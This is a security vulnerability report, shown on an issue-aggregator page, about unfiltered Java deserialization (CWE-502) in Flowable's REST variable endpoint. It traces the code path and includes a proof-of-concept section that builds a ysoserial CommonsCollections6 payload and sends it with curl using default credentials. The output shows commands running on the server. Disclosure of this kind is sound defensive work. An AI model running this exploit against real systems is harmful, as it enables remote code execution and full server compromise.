[SECURITY] Deserialization RCE via ProcessInstanceVariableResource.updateVariable (multipart) with type=serializable (CWE-502, CVSS 8.8)
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 48/100
Direzione di ricerca
Start at ProcessInstanceVariableResource.updateVariable in repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ProcessInstanceVariableResource.java, then trace setBinaryVariable in BaseExecutionVariableResource.java. Review the default rest.variables.allow.serializable setting in flowable-default.properties and verify the multipart type=serializable path no longer accepts unfiltered input while preserving the intended variable behavior.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Security Vulnerability Report -- CWE-502
Summary
The ProcessInstanceVariableResource's updateVariable endpoint, when receiving multipart/form-data requests with the form parameter type=serializable, directly uses ObjectInputStream.readObject() without JEP 290 filtering to deserialize uploaded file content. This capability is enabled under the default configuration (rest.variables.allow.serializable=true). Combined with gadget chain libraries such as Groovy and Spring present on the classpath, an attacker can achieve remote code execution (RCE) through an authenticated HTTP request.
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's PUT /runtime/process-instances/{processInstanceId}/variables/{variableName} endpoint, when receiving multipart/form-data type requests, calls BaseExecutionVariableResource.setBinaryVariable(). When the form parameter type=serializable, the method uses native java.io.ObjectInputStream.readObject() to directly deserialize the user-uploaded file byte stream, without configuring any ObjectInputFilter (JEP 290) class whitelist/blacklist. Java deserialization vulnerabilities are a well-researched class of high-severity vulnerabilities. An attacker can craft malicious serialized objects (gadget chains) to gain arbitrary code execution capability when readObject() is triggered. This feature is enabled by default under rest.variables.allow.serializable=true, and the classpath contains known gadget chain libraries such as groovy-jsr223 (org.apache.groovy) and Spring, making the RCE attack surface practically exploitable.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | Requires HTTP Basic Auth, and under default authentication-mode=verify-privilege mode, user must have rest-api permission |
| Network Reachability | Flowable REST API port reachable (default 8080) |
| Configuration Dependency | rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57) |
| Business Prerequisites | Target processInstanceId must be an existing running process instance |
| Classpath Dependency | Need available gadget chain libraries; default deployed flowable-app-rest includes groovy-jsr223 and Spring framework |
Trigger Location
repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
Entry method at ProcessInstanceVariableResource.java:94-126:
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
@PathVariable("variableName") String variableName, HttpServletRequest request) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
RestVariable result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
// ...
Data Flow Overview
HTTP PUT multipart/form-data request (containing malicious serialized payload as file part, form field type=serializable)
↓
ProcessInstanceVariableResource.updateVariable()
(ProcessInstanceVariableResource.java:94)
↓ Check request instanceof MultipartHttpServletRequest → true
↓
BaseExecutionVariableResource.setBinaryVariable(request, execution, false, false)
(BaseExecutionVariableResource.java:102)
↓ Parse form parameter type=serializable, name=<variableName>
↓
Check isSerializableVariableAllowed (default true, from rest.variables.allow.serializable=true)
(BaseExecutionVariableResource.java:162)
↓
new ObjectInputStream(file.getInputStream()) → stream.readObject()
(BaseExecutionVariableResource.java:164-165)
↓ **Without any ObjectInputFilter filtering** → gadget chain executes during readObject()
↓
RCE triggered
Data Flow Detailed Code Analysis
Chain 1: multipart -> setBinaryVariable -> readObject()
Layer 1 — HTTP Entry (ProcessInstanceVariableResource.java:94-101)
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
@PathVariable("variableName") String variableName, HttpServletRequest request) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
RestVariable result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
- External input: multipart request, containing file part (attacker controls all bytes) and form fields name/type/scope
- Operation: Only checks if request is MultipartHttpServletRequest, if so delegates directly to
setBinaryVariable - Passed to next layer:
(MultipartHttpServletRequest) request,executionobject
Layer 2 — setBinaryVariable Parameter Parsing (BaseExecutionVariableResource.java:102-155)
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Execution execution,
boolean isNew, boolean async) {
// ...
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
// ...
}
}
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
}
- External input: file (byte stream fully controlled by attacker), form parameter type
- Operation: type whitelist only allows "binary" or "serializable", does not restrict specific serialization classes
- Passed to next layer:
file.getInputStream()byte stream
Layer 3 — Sink: ObjectInputStream.readObject() (BaseExecutionVariableResource.java:162-167)
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unfiltered deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
} else {
throw new FlowableContentNotSupportedException("Serialized objects are not allowed");
}
- External input:
file.getInputStream()— raw byte stream of user-uploaded file - Operation: Directly
new ObjectInputStream(file.getInputStream())and callsreadObject() - No
ObjectInputFilter(JEP 290) configured: Nostream.setObjectInputFilter()called, JVM also has nojdk.serialFilterconfigured isSerializableVariableAllowedis read fromenv.getProperty("rest.variables.allow.serializable", Boolean.class, true), default value is true- Passed to next layer: Deserialized
Object value(by this point gadget chain has already executed)
Layer 4 — Configuration Confirmation (flowable-default.properties:57)
# Enable/disable Java serializable objects to be passed as variables in the REST API.
rest.variables.allow.serializable=true
Default configuration explicitly enables the deserialization feature.
CVSS Breakdown
Using CVSS v3.1 scoring, vector string: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Vector | Value | Reason |
|---|---|---|
| Attack Vector (AV) | Network | Triggered remotely via HTTP REST API |
| Attack Complexity (AC) | Low | Attacker only needs to send a multipart POST/PUT request with type=serializable + malicious serialized payload, no special conditions |
| Privileges Required (PR) | Low | Requires HTTP Basic Auth (default verify-privilege mode requires rest-api permission), but no admin privileges needed |
| User Interaction (UI) | None | No user interaction required |
| Scope (S) | Unchanged | Vulnerability affects the Flowable application's own process |
| Confidentiality (C) | High | RCE can read all application data (database credentials, process variables, etc.) |
| Integrity (I) | High | RCE can tamper with database, process definitions, filesystem |
| Availability (A) | High | RCE can stop service, delete data |
Overall Score: 8.8 (High)
PoC Verification Report
ProcessInstanceVariableResource.updateVariable Java Deserialization RCE
Vulnerability Summary
- Vulnerability Name: ProcessInstanceVariableResource updateVariable endpoint Java deserialization remote code execution
- Affected Component/Port: Flowable REST API port 8080,
PUT /runtime/process-instances/{processInstanceId}/variables/{variableName}endpoint - Vulnerability Description: When uploading a file via multipart/form-data and setting
type=serializable, the system uses nativeObjectInputStream.readObject()to deserialize the user-uploaded file byte stream without configuring any JEP 290 ObjectInputFilter, allowing an attacker to craft malicious serialized objects (gadget chains) to execute arbitrary code during deserialization - Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unfiltered deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- Brief Data Flow:
HTTP PUT multipart/form-data (file + type=serializable)
↓
ProcessInstanceVariableResource.updateVariable() (ProcessInstanceVariableResource.java:94)
↓ request instanceof MultipartHttpServletRequest
↓
BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102)
↓ Parse form parameter type=serializable
↓
ObjectInputStream stream = new ObjectInputStream(file.getInputStream())
↓
stream.readObject() (BaseExecutionVariableResource.java:165)
↓ **Without ObjectInputFilter filtering**
↓
Gadget chain execution → RCE triggered
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires HTTP Basic Auth (rest-admin:test), default authentication-mode=verify-privilege mode requires rest-api permission |
| Network Reachability | Flowable REST API port 8080 reachable |
| Configuration Dependency | rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57) |
| Business Prerequisites | Target processInstanceId must be an existing running process instance |
| Classpath Dependency | Need gadget chain libraries; default deployment includes commons-collections-3.2.2.jar, groovy-jsr223-4.0.23.jar, Spring 6.1.13, etc. |
Exploitation Chain Progress
Successful Exploitation Example (CommonsCollections6 gadget chain):
| Chain Stage | Location (file:line) | Status | Evidence / Description |
|---|---|---|---|
| Entry | ProcessInstanceVariableResource.java:94 | Reached | PUT multipart request entered updateVariable() |
| Parameter parsing | BaseExecutionVariableResource.java:131 | Reached | type=serializable passed whitelist validation |
| Sink | BaseExecutionVariableResource.java:165 | Triggered | readObject() deserialized CommonsCollections6 payload |
| Conclusion | — | Full Chain Closed | RCE successful, server created file /root/workspace/tmp/entry_0629/RCE_PROOF_0629 |
Exploitation Verification
Execution Commands (end-to-end):
Generate CommonsCollections6 gadget chain payload and send:
TMPDIR="/root/workspace/tmp/entry_0629"
PROC_ID="03328176-8fff-11f1-a444-02423661ba3a"
# Generate payload (need --add-opens to bypass Java 17 module restrictions)
java --add-opens java.management/javax.management=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629" > "${TMPDIR}/payload_cc6.ser"
# Send malicious multipart request
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/put_rce_sh" \
-F "file=@${TMPDIR}/payload_cc6.ser" \
-F "type=serializable" \
-F "name=put_rce_sh"
Actual Execution Result:
HTTP 200 OK, returned:
{"name":"put_rce_sh","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_sh/data","scope":"local"}
Server filesystem verification:
$ ls -la /root/workspace/tmp/entry_0629/RCE_PROOF_0629
-rw-r----- 1 root root 0 Aug 4 12:27 /root/workspace/tmp/entry_0629/RCE_PROOF_0629
Second Confirmation (different variable name, same process instance):
java ... -jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629_SECOND" > "${TMPDIR}/payload_cc6_second.ser"
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/evil_var2" \
-F "file=@${TMPDIR}/payload_cc6_second.ser" \
-F "type=serializable" \
-F "name=evil_var2"
Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_0629_SECOND created successfully.
Third Confirmation (different process instance):
PROC_ID_2="0dd2629d-8fff-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID_2}/variables/deser_var" \
-F "file=@${TMPDIR}/payload_cc6_third.ser" \
-F "type=serializable" \
-F "name=deser_var"
Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_THIRD created successfully.
Conclusion: The attacker uploaded a file containing a malicious serialized object via HTTP PUT multipart request with type=serializable, successfully executing the touch command to create files on the Flowable server. Three independent tests (different variable names, different process instances) all successfully triggered RCE, proving the vulnerability is stably exploitable. The attacker can further leverage this vulnerability to read sensitive data, execute system commands, write webshells, or completely compromise the server.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- Lingua principale
- Java
- Stelle
- 9.6k
- Fork
- 2.9k
- Merge medio
- 1h 9m
- PR unite (30g)
- 2
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Nessuna guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di flowable/flowable-engine
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
flowable/flowable-engine#4268 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4293 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
flowable/flowable-engine#4292 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4291 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
flowable/flowable-engine#4289 ·
Tutte le issue di flowable/flowable-engine
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 86/100
geonetwork/geonetwork#227 ·
I maintainer di solito rispondono entro 3 giorni
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
Netcracker/qubership-testing-platform-tdm3#138 ·
I maintainer di solito rispondono entro 1 giorno
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
synthetichealth/synthea#1726 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
bisq-network/bisq#8097 ·
I maintainer di solito rispondono entro 1 giorno
-
area/frontend good first issue kind/cooldown
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
I maintainer di solito rispondono entro 1 giorno